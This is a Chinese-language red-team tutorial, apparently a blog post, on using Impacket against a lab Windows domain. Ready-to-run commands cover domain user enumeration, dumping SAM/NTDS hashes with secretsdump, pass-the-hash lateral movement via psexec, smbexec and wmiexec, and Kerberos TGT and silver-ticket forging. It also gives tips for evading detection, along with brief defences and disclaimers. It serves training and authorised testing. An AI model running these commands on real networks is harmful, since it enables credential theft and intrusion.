适用人群:安全运维、红队成员、CTF 玩家
免责声明:本文所有示例均在授权靶场环境(如 HTB、VulnHub、本地虚拟机)中完成。严禁用于未授权真实网络,违者后果自负。
一、为什么 Impacket 是内网渗透的“标配”?
在内网渗透圈有一句玩笑话:
“如果有个 Python 脚本能打穿你的内网,那它大概率来自 Impacket。”
Impacket 是一组用于处理网络协议的 Python 类库和脚本集合,由 SecureAuth 维护。它的可怕之处在于:
-
✅ 协议级实现:不依赖系统命令,直接构造 SMB、Kerberos、LDAP 等协议数据包
-
✅ 无文件落地:很多攻击可直接通过内存完成
-
✅ 跨平台:Linux / macOS / Windows 通吃
一句话总结:它是红队武器库里的“万能钥匙”。
二、环境准备(与时俱进版 · 2026)
1️⃣ 安装方式(推荐)
git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m pip install .
✅ Python 版本:3.10+
✅ 常见问题:若遇到 cryptography报错,请升级 pip:
pip install -U cryptography
三、Impacket 工具矩阵(按攻击阶段划分)
|
信息收集 |
GetADUsers.py |
域用户枚举 |
|
凭证窃取 |
secretsdump.py |
SAM / NTDS 提取 |
|
横向移动 |
psexec.pysmbexec.py |
远程执行 |
|
权限维持 |
wmiexec.py |
WMI 后门 |
|
Kerberos 攻击 |
getTGT.pyticketer.py |
黄金/白银票据 |
四、实战演练(真实可复现)
🧩 场景设定
-
域控:DC01 (192.168.56.101)
-
域:corp.local
-
已获得普通域用户:alice:Passw0rd!
五、信息收集篇
1️⃣ 枚举域用户
GetADUsers.py corp.local/alice:Passw0rd!@192.168.56.101
📌 亮点:
-
自动解析 LDAP
-
可获取用户最后登录时间(辅助定位管理员)
💡 红队技巧:
找到“Description 里写着密码”的用户,比爆破快十倍 😂
六、凭证提取篇(核武级)
2️⃣ secretsdump.py —— 内网渗透的“核武器”
secretsdump.py corp.local/alice:Passw0rd\\!@192.168.56.101
🎯 你能拿到什么?
-
✅ NTLM Hash
-
✅ LSA Secrets
-
✅ NTDS.dit(域控所有用户 Hash)
⚠️ 注意:
-
需要 SYSTEM 权限
-
对域控执行 = 红队“摊牌时刻”
📌 Hash 示例:
纯文本
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
七、横向移动篇
3️⃣ PsExec.py(最经典)
psexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
✅ 特点:
-
上传服务 → 执行 → 删除
-
日志明显,蓝队最爱告警 😅
4️⃣ smbexec.py(更隐蔽)
smbexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
✅ 优点:
-
不创建服务
-
利用 svchost.exe
📌 红队建议:
蓝队盯着 psexec,你用 smbexec。
5️⃣ wmiexec.py(无文件)
wmiexec.py Administrator@192.168.56.101 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
✅ 半交互式 Shell
✅ 极少落盘
✅ EDR 最难检测之一
八、Kerberos 攻击篇(高阶)
6️⃣ 获取 TGT
getTGT.py corp.local/alice:Passw0rd\\!@192.168.56.101
生成:
纯文本
alice.ccache
设置环境变量:
export KRB5CCNAME=alice.ccache
7️⃣ 白银票据(Service Ticket)
ticketer.py -nthash <service_ntlm> -domain-sid <SID> -domain corp.local Administrator
🎯 用途:
-
伪造特定服务访问权限
-
绕过账号限制
九、Impacket 使用“潜规则”
|
尽量用 Hash |
避免密码被改 |
|
少用明文密码 |
日志审计 |
|
控制并发 |
防止触发锁账户 |
|
配合 Proxy |
隐藏来源 IP |
十、蓝队视角(防御建议)
✅ 启用 LSA Protection
✅ 监控 4625 / 4648 登录日志
✅ 限制 Admin 登录主机
✅ 定期重置 KRBTGT 密码
十一、结语 & 严肃警示 ⚠️
Impacket 是双刃剑
它能帮你发现企业最深层的隐患,也能让你一夜之间登上新闻头条。
🚨 再次郑重声明:
-
本文仅用于 合法授权的安全测试与学习
-
任何在未授权系统中使用文中技术,均属违法行为
-
作者与平台不承担任何法律责任



